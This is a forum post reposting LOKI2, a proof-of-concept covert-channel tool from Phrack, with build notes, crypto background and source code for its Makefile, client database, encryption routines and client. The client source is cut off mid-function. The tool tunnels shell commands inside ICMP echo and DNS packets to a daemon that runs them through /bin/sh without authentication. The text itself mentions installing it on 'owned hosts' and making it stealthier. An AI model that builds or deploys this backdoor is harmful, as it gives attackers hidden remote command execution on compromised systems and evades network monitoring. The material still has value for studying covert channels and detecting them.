Trilight Zone Forum Index Trilight Zone
Privacy & Anonymity is our specialty !
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 

LOKI2 - information-tunneling program and description

 
Post new topic   Reply to topic    Trilight Zone Forum Index -> Security
Author Message
digital8
Second Lieutenant


Joined: 29 Sep 2005
Posts: 1002

PostPosted: Thu Sep 29, 2005 3:35 pm    Post subject: LOKI2 - information-tunneling program and description Reply with quote

----[ Introduction


This is the companion code to go with the article on covert channels in
network protocols that originally appeared in P49-06. The article does not
explain the concepts, it only covers the implementation. Readers desiring more
information are directed to P49-06.

LOKI2 is an information-tunneling program. It is a proof of concept work
intending to draw attention to the insecurity that is present in many network
protocols. In this implementation, we tunnel simple shell commands inside of
ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic. To the
network protocol analyzer, this traffic seems like ordinary benign packets of
the corresponding protocol. To the correct listener (the LOKI2 daemon)
however, the packets are recognized for what they really are. Some of the
features offered are: three different cryptography options and on-the-fly
protocol swapping (which is a beta feature and may not be available in your
area).

The vulnerabilities presented here are not new. They have been known
about and actively exploited for years. LOKI2 is simply one possible
implementation. Implementations of similar programs exist for UDP, TCP, IGMP,
etc... This is by no means limited to type 0 and type 8 ICMP packets.

Before you go ahead and patch owned hosts with lokid, keep in mind that
when linked against the crypto libraries, it is around 70k, with about 16k
alone in the data segment. It also forks off at least twice per client
request. This is not a clandestine program. You want clandestine?
Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it
part of the O/S.

----------------------[ BUILDING AND INSTALLATION

Building LOKI2 should be painless. GNU autoconf was not really needed for
this project; consequently you may have to edit the Makefile a bit. This
shouldn't be a problem, becuase you are very smart.

----[ I. Edit the toplevel Makefile

1) Make sure your OS is supported. As of this distribution, we suppport the
following (if you port LOKI2 to another architecture, please send me the
diffs):

Linux 2.0.x
OpenBSD 2.1
FreeBSD 2.1.x
Solaris 2.5.x

2) Pick an encryption technology. STRONG_CRYPTO (DH and Blowfish),
WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext).

3) If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ.
You will also need SSLeay (see below).

4) Chose whether or not to allocate a psudeo terminal (PTY) (may not be
implemented) or just use popen (POPEN) and use the
`pipe -> fork -> exec -> sh` sequence to execute commands.

5) See Net/3 restrictions below and adjust accordingly.

6) Pausing between sends is a good idea, especially when both hosts are on
the same Ethernet. We are dealing with a potentially lossy protocol and
there is no reliablity layer added as of this version... SEND_PAUSE
maintains some order and keeps the daemon from spewing packets too fast.

You can also opt to increase the pause to a consdiderably larger value,
making the channel harder to track on the part of the netework snooper.
(This would, of course, necessitate the client to choose an even larger
MIN_TIMEOUT value.

----[ II. Supplemental librarys

1) If you are using STRONG_CRYPTO you will need to get the SSLeay crypto
library, version 0.6.6. DO NOT get version 0.8.x as it is untested with
LOKI2. Hopefully these URLs will not expire anytime soon:

ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay-0.6.6.tar.gz
ftp://ftp.uni-mainz.de/pub/internet/security/ssl

2) Build and install SSLeay. If you decide not to install it, Make sure you
correct the crypto library path LIB_CRYPTO_PATH in the Makefile and
include paths in loki.h.

----[ III. Compilation and linking

1) From the the toplevel directory, `make systemtype`.

2) This will build and strip the executables.

----[ IV. Testing

1) Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid`

2) Start up a client `./loki -d localhost`

3) Issue an `ls`.

4) You should see a short listing of the root directory.

5) Yay.

6) For real world testing, install the daemon on a remote machine and go to
town. See below for potential problems.

----[ V. Other Options

The loki.h header file offers a series of configurable options.

MIN_TIMEOUT is the minimum amount of time in whole seconds the client will
wait for a response from the server before the alarm timer goes off.

MAX_RETRAN (STRONG_CRYPTO only) is the maximum amount of time in whole
seconds the client will retransmit its initial public key
handshaking packets before giving up. This feature will be
deprecated when a reliability layer is added.

MAX_CLIENT is the maximum amount of clients the server will accept and
service concurrently.

KEY_TIMER is the maximum amount of time in whole seconds an idle client
entry will be allowed to live in the servers database. If this
amount of time has elapsed, all entries in the servers client
database that have been inactive for KEY_TIMER seconds will be
removed. This provides the server with a simple way to clean up
resources from crashed or idle clients.

----------------------[ LOKI2 CAVEATS AND KNOWN BUGS

Net/3 Restrictions

Under Net/3, processes interested in receiving ICMP messages must register
with the kernel in order to get these messages. The kernel will then pass
all ICMP messages to these registered listeners, EXCEPT for damaged ICMP
packets and request packets. Net/3 TCP/IP implementations will not pass ICMP
request messages of any kind to any registered listeners. This is a problem
if we are going to be using ICMP_ECHO (a request type packet) and want it to
be directly passed to our user-level program (lokid). We can get around this
restriction by inverting the flow of the transactions. We send ICMP_ECHOREPLYs
and elicit ICMP_ECHOs.

Note, that under Linux, we do not have this probem as ALL valid ICMP
packets are delivered to user-level processes. If the daemon is installed on
a Linux box, we can use the normal ICMP_ECHO -> ICMP_ECHOREPLY method of
tunneling. Compile with -DNET3 according to this chart:

| Client |
-----------------------------------------------------
Daemon | ------- | Linux | *bsd* | Solaris |
-----------------------------------------------------
| Linux | no | yes | yes |
| *bsd* | no | yes | yes |
| Solaris | no | opt | opt |

The Initialization Vector

When using Strong Crypto, the initialization vector (ivec) incrementation
is event based. Every time a packet is sent by the client the client ivec is
incremented, and, every time a packet is received by the server, the server
side ivec is also incremented. This is fine if both ends stay in sync with
each other. However, we are dealing with a potentially lossy protocol. If
a packet from the client to the server is dropped, the ivecs become desynched,
and the client can no longer communicate with the server.

There are two easy ways to deal with this. One would be to modify the ivec
permutation routine to be time-vector based, having the ivecs increase as time
goes by. This is problematic for several reasons. Initial synchronization
would be difficult, especially on different machine architectures with
different clock interrupt rates. Also, we would also have to pick a
relatively small time interval for ivec permutations to be effective on fast
networks, and the smaller the ivec time differential is, the more the protocol
would suffer from clock drift (which is actually quite considerable).

Protocol Swaping

Swapping protocols is broken in everything but Linux. I think it has
something to do with the Net/3 socket semantics. This is probably just a bug
I need to iron out. Quite possibly something I did wrong. *shrug*...
Nevermind the fact that the server isn't doing any synchronous I/O multiplexing,
consequently, swapping protocols requires a socket change on everone's part.
This is why this feature is 'beta'.

Authentication

Um, well, there is none. Any client can connect to the server, and any
client can also cause the server to shut down. This is actually not a bug or
a caveat. It is intentional.


I/O

Should be done via select.

----------------------[ TODO LIST

- possible time vector-based ivec permutation instead of event-based as event
based is prone to synch failures, OR, even better, a reliability layer.

----[ The technologies

----------------------[ SYMMETRIC BLOCK CIPHER

A symmetric cipher is one that uses the same key for encryption and
decryption, or the decryption key is easily derivable from the encryption key.
Symmetric ciphers tend to be fast and well suited for bulk encryption, but
suffer from woeful key distribution problems. A block cipher is simply one
that encrypts data in blocks (usually 64-bits). The symmetric block cipher
employed by LOKI2 is Blowfish in CFB mode with a 128-bit key.

----------------------[ CFB MODE

Symmetric block ciphers can be implemented as self-synchronizing stream
ciphers. This is especially useful for data that is not suitable for padding
or when data needs to processed in byte-sized chunks. In CFB mode, data is
encrypted in units smaller then the block size. In our case, each encryption
of the 64-bit block cipher encrypts 8-bits of plaintext. The initialization
vector, which is used to seed the process, must be unique but not secret. We
use every 3rd byte of the symmetric key for our IV. The IV must change for
each message, to do this, we simply increment it as packets are generated.

----------------------[ BLOWFISH

Blowfish is a variable key length symmetric cipher designed by Bruce
Schneier. It is a portable, free, fast, strong algorithm.
It offers a key length of up to 448-bits, however, for LOKI2 we use
a 128-bit key.

----------------------[ ASYMMETRIC CIPHER

An asymmetric cipher makes use of two keys, coventionally called the
private key and public key. These two keys are mathematically related such
that messages encrypted with one, can only be decrypted by the other. It
is also infeasible to derive one key from the other. Asymmetric ciphers solve
the problem of key management by negating the need for a shared secret, however
they are much slower the symmetric ciphers. The perfect world in this case
is a hybrid system, using both a symmetric cipher for key exchange and a
symmetric cipher for encryption. This is the scheme employed in LOKI2.

---------------------[ DIFFIE - HELLMAN

In 1976, Whitfield Diffie and Marty Hellman came forth with the first
asymmetric cipher (DH). DH cannot be used for encryption, only for symmetric
key exchange. The strength of DH relies on the apparent difficulty in
computing discrete logarithms in a finite field. DH generates a shared secret
based off of 4 components:

P the public prime
g the public generator
c{x, X} the client's private/public keypair
s{y, Y} the server's private/public keypair
SS the shared secret (from the which the key is extracted)

The protocol for secret generation is simple:

Client Server
------ ------
1) X = g ^ x mod P
2) X -->
3) Y = g ^ y mod P
4) <-- Y
5) SS = Y ^ x mod P SS = X ^ y mod P

----------------------[ NETWORK FLOW

L O K I 2
Covert channel implementation for Unix
----------------------------------------------------------------------
daemon9|route [guild 1997]
----------------
| LOKI2 CLIENT |
---------------- -----------------------------------
^ | sendto() | FIRST GENERATION LOKI2 DAEMON |
| | -----------------------------------
| | client sends | shadow() server forks
| | data v
| v |
| | -----
| | |
| | |
| | v fork()
| | -----
| | C| |P
| v | |
| | | ----> clean_exit() parent exits
| | |
| | | 2nd generation child daemon becomes leader of a new
| | | session, handles initial network requests
^ | |
| | v
| | ------------------------------
| -----------> | SECOND GENERATION DAEMON | read() blocks until
| LOKI2 ------------------------------ data arrives
| network | ^
| traffic | |
| | |
-------<---- | |
| | |
| | |
| | |
| v fork() |
| ----- |
^ C| |P |
| | | | parent continues
| | --->------
| |
| | 3rd generation daemon handles client request
| v
| -----------------------------
--<---| THIRD GENERATION DAEMON |
-----------------------------
switch(PACKET_TYPE)

L_PK_REQ: L_REQ:
STRONG_CRYPTO POPEN
key management PTY |
| pipe() <---------
| | |
-------<--------------------<------ | |
| ---- |
| | |
| v fork() |
v ----- |
Unimplemented (7.97) C| |P |
| | ^
| ----> exit() |
| |
4th generation child | ---->------->---
daemon execs commands v |
------------------------------
| FOURTH GENERATION DAEMON | exec() 4g child execs
------------------------------ command in
STDOUT of command /bin/sh
to client via pipe

----------------------[ THANKS

snocrash for being sno,
nirva for advice and help and the use of his FreeBSD machine,
mycroft for advice and the use of his Solaris machine,
alhambra for being complacent,
Craig Nottingham for letting me borrow some nomenclature,
truss and strace for being indespensible tools of the trade,

Extra Special Thanks to OPii for pioneering this concept and
technique.

----------------------[ THE SOURCE

Whelp, here it is. Extract the code from the article using one of the
included extraction utilities.

<++> L2/Makefile
# Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997
# route (c) 1997 Guild Corporation, Worldwide

######
# Choose a cryptography type
#

CRYPTO_TYPE = WEAK_CRYPTO # XOR
#CRYPTO_TYPE = NO_CRYPTO # Plaintext
#CRYPTO_TYPE = STRONG_CRYPTO # Blowfish and DH

######
# If you want STRONG_CRYPTO, uncomment the following (and make sure you have
# SSLeay)

#LIB_CRYPTO_PATH = /usr/local/ssl/lib/
#CLIB = -L$(LIB_CRYPTO_PATH) -lcrypto
#MD5_OBJ = md5/md5c.o

######
# Choose a child process handler type
#

SPAWN_TYPE = POPEN
#SPAWN_TYPE = PTY

######
# It is safe to leave this alone.
#

NET3 = #-DNET3
SEND_PAUSE = SEND_PAUSE=100
DEBUG = #-DDEBUG
#----------------------------------------------------------------------------#

i_hear_a_voice_from_the_back_of_the_room:
@echo
@echo "LOKI2 Makefile"
@echo "Edit the Makefile and then invoke with one of the following:"
@echo
@echo "linux openbsd freebsd solaris clean"
@echo
@echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
@echo

linux:
@make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all

openbsd:
@make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all

freebsd:
@make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all

solaris:
@make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all

CFLAGS = -Wall -O6 -finline-functions -funroll-all-loops $(OS) \
$(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \
$(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3)

CC = gcc
C_OBJS = surplus.o crypt.o
S_OBJS = client_db.o shm.o surplus.o crypt.o pty.o

.c.o:
$(CC) $(CFLAGS) -c $< -o $@

all: $(MD5_OBJ) loki

md5obj: md5/md5c.c
@( cd md5; make )

loki: $(C_OBJS) loki.o $(S_OBJS) lokid.o
$(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
$(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
@(strip loki lokid)

clean:
@( rm -fr *.o loki lokid )
@( cd md5; make clean )

dist: clean
@( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar )
<--> Makefile
<++> L2/client_db.c
/*
* LOKI2
*
* [ client_db.c ]
*
* 1996/7 Guild Corporation Worldwide [daemon9]
*/

#include "loki.h"
#include "shm.h"
#include "client_db.h"

extern struct loki rdg;
extern int verbose;
extern int destroy_shm;
extern struct client_list *client;
extern u_short c_id;

#ifdef STRONG_CRYPTO
extern short ivec_salt;
extern u_char user_key[BF_KEYSIZE];
#endif
#ifdef PTY
extern int mfd;
#endif

/*
* The server maintains an array of active client information. This
* function simply steps through the structure array and attempts to add
* an entry.
*/

int add_client(u_char *key)
{
int i = 0, emptyslot = -1;
#ifdef PTY
char p_name[BUFSIZE] = {0};
#endif

locks();
for (; i < MAX_CLIENT; i++)
{
if (IS_GOOD_CLIENT(rdg))
{ /* Check for duplicate entries
* (which are to be expected when
* not using STRONG_CRYPTO)
*/
#ifdef STRONG_CRYPTO
if (verbose) fprintf(stderr, S_MSG_DUP);
#endif
emptyslot = i;
break;
} /* tag the first empty slot found */
if ((!(client[i].client_id))) emptyslot = i;
}
if (emptyslot == -1)
{ /* No empty array slots */
if (verbose) fprintf(stderr, "\nlokid: Client database full");
ulocks();
return (NNOK);
}
/* Initialize array with client info */
client[emptyslot].touchtime = time((time_t *)NULL);
if (emptyslot != i){
client[emptyslot].client_id = c_id;
client[emptyslot].client_ip = rdg.iph.ip_src;
client[emptyslot].packets_sent = 0;
client[emptyslot].bytes_sent = 0;
client[emptyslot].hits = 0;
#ifdef PTY
client[emptyslot].pty_fd = 0;
#endif
}
#ifdef STRONG_CRYPTO
/* copy unset bf key and set salt */
bcopy(key, client[emptyslot].key, BF_KEYSIZE);
client[emptyslot].ivec_salt = 0;
#endif
ulocks();
return (emptyslot);
}

/*
* Look for a client entry in the client database. Either copy the clients
* key into user_key and update timestamp, or clear the array entry,
* depending on the disposition of the call.
*/

int locate_client(int disposition)
{
int i = 0;

locks();
for (; i < MAX_CLIENT; i++)
{
if (IS_GOOD_CLIENT(rdg))
{
if (disposition == FIND) /* update timestamp */
{
client[i].touchtime = time((time_t *)NULL);
#ifdef STRONG_CRYPTO
/* Grab the key */
bcopy(client[i].key, user_key, BF_KEYSIZE);
#endif
}
/* Remove entry */
else if (disposition == DESTROY)
bzero(&client[i], sizeof(client[i]));
ulocks();
return (i);
}
}
ulocks(); /* Didn't find the client */
return (NNOK);
}

/*
* Fill a string with current stats about a particular client.
*/

int stat_client(int entry, u_char *buf, int prot, time_t uptime)
{

int n = 0;
time_t now = 0;
struct protoent *proto = 0;
/* locate_client didn't find an
* entry
*/
if (entry == NNOK)
{
fprintf(stderr, "DEBUG: stat_client nono\n");
return (NOK);
}
n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION);
n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst));

proto = getprotobynumber(prot);
n += sprintf(&buf[n], "active transport:\t%s\n", proto -> p_name);
n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE);
time(&now);
n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x3c);

locks();
n += sprintf(&buf[n], "client ID:\t\t%d\n", client[entry].client_id);
n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent);
n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent);
n += sprintf(&buf[n], "requests:\t\t%d\n", client[entry].hits);
ulocks();

return (n);
}

/*
* Unsets alarm timer, then calls age_client, then resets signal handler
* and alarm timer.
*/

void client_expiry_check(){

alarm(0);
age_client();
/* re-establish signal handler */
if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM");

alarm(KEY_TIMER);
}


/*
* This function is called every KEY_TIMER interval to sweep through the
* client list. It zeros any entrys it finds that have not been accessed
* in KEY_TIMER seconds. This gives us a way to free up entries from clients
* which may have crashed or lost their QUIT_C packet in transit.
*/

void age_client()
{

time_t timestamp = 0;
int i = 0;

time(×tamp);
locks();
for (; i < MAX_CLIENT; i++)
{
if (client[i].client_id)
{
if (difftime(timestamp, client[i].touchtime) > KEY_TIMER)
{
if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from list [%d]\n", client[i].client_id, i);
bzero(&client[i], sizeof(client[i]));
#ifdef STRONG_CRYPTO
ivec_salt = 0;
#endif
}
}
}
ulocks();
}

/*
* Update the statistics for client.
*/

void update_client(int entry, int pcount, u_long bcount)
{
locks();
client[entry].touchtime = time((time_t *)NULL);
client[entry].packets_sent += pcount;
client[entry].bytes_sent += bcount;
client[entry].hits ++;
ulocks();
}

/*
* Returns the IP address and ID of the targeted entry
*/

u_long check_client_ip(int entry, u_short *id)
{
u_long ip = 0;

locks();
if ((*id = (client[entry].client_id))) ip = client[entry].client_ip;
ulocks();

return (ip);
}

#ifdef STRONG_CRYPTO

/*
* Update and return the IV salt for the client
*/

u_short update_client_salt(int entry)
{

u_short salt = 0;

locks();
salt = ++client[entry].ivec_salt;
ulocks();

return (salt);
}

#endif /* STRONG_CRYPTO */

/* EOF */
<--> client_db.c
<++> L2/client_db.h
/*
* LOKI
*
* client_db header file
*
* 1996/7 Guild Corporation Productions [daemon9]
*/


/*
* Client info list.
* MAX_CLIENT of these will be kept in a server-side array
*/

struct client_list
{
#ifdef STRONG_CRYPTO
u_char key[BF_KEYSIZE]; /* unset bf key */
u_short ivec_salt; /* the IV salter */
#endif
u_short client_id; /* client loki_id */
u_long client_ip; /* client IP address */
time_t touchtime; /* last time entry was hit */
u_long packets_sent; /* Packets sent to this client */
u_long bytes_sent; /* Bytes sent to this client */
u_int hits; /* Number of queries from client */
#ifdef PTY
int pty_fd; /* Master PTY file descriptor */
#endif
};

#define IS_GOOD_CLIENT(ldg)\
\
(c_id == client[i].client_id && \
ldg.iph.ip_src == client[i].client_ip) > \
(0) ? (1) : (0) \

void update_client(int, int, u_long); /* Update a client entry */
/* client info into supplied buffer */
int stat_client(int, u_char *, int, time_t);
int add_client(u_char *); /* add a client entry */
int locate_client(int); /* find a client entry */
void age_client(void); /* age a client from the list */
u_short update_client_salt(int); /* update and return salt */
u_long check_client_ip(int, u_short *); /* return ip and id of target */
<--> client_db.h
<++> L2/crypt.c
/*
* LOKI2
*
* [ crypt.c ]
*
* 1996/7 Guild Corporation Worldwide [daemon9]
*/


#include "loki.h"
#include "crypt.h"
#include "md5/global.h"
#include "md5/md5.h"

#ifdef STRONG_CRYPTO
u_char user_key[BF_KEYSIZE]; /* unset blowfish key */
BF_KEY bf_key; /* set key */
volatile u_short ivec_salt = 0;

/*
* Blowfish in cipher-feedback mode. This implements blowfish (a symmetric
* cipher) as a self-synchronizing stream cipher. The initialization
* vector (the initial dummy cipher-text block used to seed the encryption)
* need not be secret, but it must be unique for each encryption. I fill
* the ivec[] array with every 3rd key byte incremented linear-like via
* a global encryption counter (which must be synced in both client and
* server).
*/

void blur(int m, int bs, u_char *t)
{

int i = 0, j = 0, num = 0;
u_char ivec[IVEC_SIZE + 1] = {0};

for (; i < BF_KEYSIZE; i += 3) /* fill in IV */
ivec[j++] = (user_key[i] + (u_char)ivec_salt);
BF_cfb64_encrypt(t, t, (long)(BUFSIZE - 1), &bf_key, ivec, &num, m);
}

/*
* Generate DH keypair.
*/

DH* generate_dh_keypair()
{

DH *dh = NULL;
/* Initialize the DH structure */
dh = DH_new();
/* Convert the prime into BIGNUM */
(BIGNUM *)(dh -> p) = BN_bin2bn(modulus, sizeof(modulus), NULL);
/* Create a new BIGNUM */
(BIGNUM *)(dh -> g) = BN_new();
/* Set the DH generator */
BN_set_word((BIGNUM *)(dh -> g), DH_GENERATOR_5);
/* Generate the key pair */
if (!DH_generate_key(dh)) return ((DH *)NULL);

return(dh);
}

/*
* Extract blowfish key from the DH shared secret. A simple MD5 hash is
* perfect as it will return the 16-bytes we want, and obscure any possible
* redundancies or key-bit leaks in the DH shared secret.
*/

u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf)
{

u_char digest[MD5_HASHSIZE];
unsigned len = BN2BIN_SIZE;
MD5_CTX context;
/* initialize MD5 (loads magic context
* constants)
*/
MD5Init(&context);
/* MD5 hashing */
MD5Update(&context, dh_shared_secret, len);
/* clean up of MD5 */
MD5Final(digest, &context);
bcopy(digest, user_key, BF_KEYSIZE);
/* In the server we dunot set the key
* right away; they are set when they
* are nabbed from the client list.
*/
if (set_bf == OK)
{
BF_set_key(&bf_key, BF_KEYSIZE, user_key);
return ((u_char *)NULL);
}
else return (strdup(user_key));
}
#endif
#ifdef WEAK_CRYPTO

/*
* Simple XOR obfuscation.
*
* ( Syko was right -- the following didn't work under certain compilation
* environments... Never write code in which the order of evaluation defines
* the result. See K&R page 53, at the bottom... )
*
* if (!m) while (i < bs) t[i] ^= t[i++ +1];
* else
* {
* i = bs;
* while (i) t[i - 1] ^= t[i--];
* }
*
*/

void blur(int m, int bs, u_char *t)
{

int i = 0;

if (!m)
{ /* Encrypt */
while (i < bs)
{
t[i] ^= t[i + 1];
i++;
}
}
else
{ /* Decrypt */
i = bs;
while (i)
{
t[i - 1] ^= t[i];
i--;
}
}
}

#endif
#ifdef NO_CRYPTO

/*
* No encryption
*/

void blur(int m, int bs, u_char *t){}

#endif

/* EOF */
<--> crypt.c
<++> L2/crypt.h
/*
* LOKI
*
* crypt header file
*
* 1996/7 Guild Corporation Productions [daemon9]
*/


#ifdef STRONG_CRYPTO
/* 384-bit strong prime */

u_char modulus[] =
{

0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A,
0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49,
0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14,
0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3,

};
#endif
<--> crypt.h
<++> L2/loki.c
/*
* LOKI2
*
* [ loki.c ]
*
* 1996/7 Guild Corporation Worldwide [daemon9]
*/

#include "loki.h"

jmp_buf env;
struct loki sdg, rdg;
int verbose = OK, cflags = 0, ripsock = 0, tsock = 0;
u_long p_read = 0; /* packets read */

#ifdef STRONG_CRYPTO
DH *dh_keypair = NULL; /* DH public and private keypair */
extern u_short ivec_salt;
#endif


int main(int argc, char *argv[])
{

static int prot = IPPROTO_ICMP, one = 1, c = 0;
#ifdef STRONG_CRYPTO
static int established = 0, retran = 0;
#endif
static u_short loki_id = 0;
int timer = MIN_TIMEOUT;
u_char buf[BUFSIZE] = {0};
struct protoent *pprot = 0;
struct sockaddr_in sin;
/* Ensure we have proper permissions */
if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV);
loki_id = getpid(); /* Allows us to individualize each
* same protocol loki client session
* on a given host.
*/
bzero((struct sockaddr_in *)&sin, sizeof(sin));
while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF)
{
switch (c)
{
case 'v': /* change verbosity */
verbose = atoi(optarg);
break;

case 'd': /* destination address of daemon */
strncpy(buf, optarg, BUFSIZE - 1);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = name_resolve(buf);
break;

case 't': /* change alarm timer */
if ((timer = atoi(optarg)) < MIN_TIMEOUT)
err_exit(1, 0, 1, "Invalid timeout.\n");
break;

case 'p': /* select transport protocol */
switch (optarg[0])
{
case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */
prot = IPPROTO_ICMP;
break;

case 'u': /* DNS query / reply */
prot = IPPROTO_UDP;
break;

default:
err_exit(1, 0, verbose, "Unknown transport.\n");
}
break;

default:
err_exit(0, 0, 1, C_MSG_USAGE);
}
}
/* we need a destination address */
if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE);
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
err_exit(1, 1, 1, L_MSG_SOCKET);

#ifdef STRONG_CRYPTO /* ICMP only with strong crypto */
if (prot != IPPROTO_ICMP) err_exit(0, 0, verbose, L_MSG_ICMPONLY);
#endif
/* Raw socket to build packets */
if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
err_exit(1, 1, verbose, L_MSG_SOCKET);
#ifdef DEBUG
fprintf(stderr, "\nRaw IP socket: ");
fd_status(ripsock, OK);
#endif

#ifdef IP_HDRINCL
if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
if (verbose) perror("Cannot set IP_HDRINCL socket option");
#endif
/* register packet dumping function
* to be called upon exit
*/
if (atexit(packets_read) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);

fprintf(stderr, L_MSG_BANNER);
for (; Wink
{
#ifdef STRONG_CRYPTO
/* Key negotiation phase. Before we
* can do anything, we need to share
* a secret with the server. This
* is our key management phase.
* After this is done, we are
* established. We try MAX_RETRAN
* times to contact a server.
*/
if (!established)
{
/* Generate the DH parameters and public
* and private keypair
*/
if (!dh_keypair)
{
if (verbose) fprintf(stderr, "\nloki: %s", L_MSG_DHKEYGEN);
if (!(dh_keypair = generate_dh_keypair()))
err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
}
if (verbose) fprintf(stderr, "\nloki: submiting our public key to server");
/* convert the BIGNUM public key
* into a big endian byte string
*/
bzero((u_char *)buf, BUFSIZE);
BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf);
/* Submit our key and request to
* the server (in one packet)
*/
if (verbose) fprintf(stderr, C_MSG_PKREQ);
loki_xmit(buf, loki_id, prot, sin, L_PK_REQ);
}
else
{
#endif
bzero((u_char *)buf, BUFSIZE);
fprintf(stderr, PROMPT); /* prompt user for input */
read(STDIN_FILENO, buf, BUFSIZE - 1);
buf[strlen(buf)] = 0;
/* Nothing to parse */
if (buf[0] == '\n') continue; /* Escaped command */
if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;
/* Send request to server */
loki_xmit(buf, loki_id, prot, sin, L_REQ);
#ifdef STRONG_CRYPTO
}
#endif
/* change transports */
if (cflags & NEWTRANS)
{
close(tsock);
prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
err_exit(1, 1, verbose, L_MSG_SOCKET);

pprot = getprotobynumber(prot);
if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name);
cflags &= ~NEWTRANS;
continue;
}
if (cflags & TERMINATE) /* client should exit */
{
fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n");
clean_exit(0);
}
/* Clear TRAP and VALID PACKET flags */
cflags &= (~TRAP & ~VALIDP);
/* set alarm singal handler */
if (signal(SIGALRM, catch_timeout) == SIG_ERR)
err_exit(1, 1, verbose, L_MSG_SIGALRM);
/* returns true if we land here as the
* result of a longjmp() -- IOW the
* alarm timer went off
*/
if (setjmp(env))
{
fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT);
cflags |= TRAP;
#ifdef STRONG_CRYPTO
if (!established) /* No connection established yet */
if (++retran == MAX_RETRAN) err_exit(1, 0, verbose, "[fatal] cannot contact server. Giving up.\n");
else if (verbose) fprintf(stderr, "Resending...\n");
#endif
}
while (!(cflags & TRAP))
{ /* TRAP will not be set unless the
* alarm timer expires or we get
* an EOT packet
*/
alarm(timer); /* block until alarm or read */

if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0)
perror("[non fatal] network read error");

switch (prot)
{ /* Is this a valid Loki packet? */
case IPPROTO_ICMP:
if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP;
break;

case IPPROTO_UDP:
if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP;
break;

default:
err_exit(1, 0, verbose, L_MSG_WIERDERR);
}
if (cflags & VALIDP)
{
#ifdef DEBUG
fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c);
PACKET_TYPE(rdg);
DUMP_PACKET(rdg, c);
#endif
/* we have a valid packet and can
* turn off the alarm timer
*/
alarm(0);
switch (rdg.payload[0]) /* determine packet type */
{
case L_REPLY : /* standard reply packet */
bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
blur(DECR, BUFSIZE - 1, buf);
#ifndef DEBUG
